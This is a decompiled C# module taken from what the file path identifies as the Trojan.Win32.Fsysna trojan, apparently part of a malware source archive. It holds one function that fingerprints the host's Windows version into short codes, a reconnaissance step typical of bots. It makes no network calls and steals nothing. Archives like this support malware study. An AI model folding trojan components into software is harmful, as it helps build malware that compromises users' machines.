MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/modGetInfo.cs

// Decompiled with JetBrains decompiler
// Type: Refx.modGetInfo
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe

using Microsoft.VisualBasic.CompilerServices;
using System;

namespace Refx
{
  [StandardModule]
  internal sealed class modGetInfo
  {
    public static string GetOperatingSystem()
    {
      OperatingSystem osVersion = Environment.OSVersion;
      string operatingSystem = "UN";
      switch (osVersion.Platform)
      {
        case PlatformID.Win32Windows:
          switch (osVersion.Version.Minor)
          {
            case 0:
              operatingSystem = "95";
              break;
            case 10:
              operatingSystem = "98";
              break;
            case 90:
              operatingSystem = "ME";
              break;
          }
          break;
        case PlatformID.Win32NT:
          switch (osVersion.Version.Major)
          {
            case 3:
              operatingSystem = "NT";
              break;
            case 4:
              operatingSystem = "NT";
              break;
            case 5:
              if (osVersion.Version.Minor == 0)
              {
                operatingSystem = "2K";
                break;
              }
              if (osVersion.Version.Minor == 1)
              {
                operatingSystem = "XP";
                break;
              }
              if (osVersion.Version.Minor == 2)
              {
                operatingSystem = "2K3";
                break;
              }
              break;
            case 6:
              operatingSystem = "VS";
              if (osVersion.Version.Minor == 0)
              {
                operatingSystem = "VS";
                break;
              }
              if (osVersion.Version.Minor == 1)
              {
                operatingSystem = "W7";
                break;
              }
              break;
          }
          break;
      }
      return operatingSystem;
    }
  }
}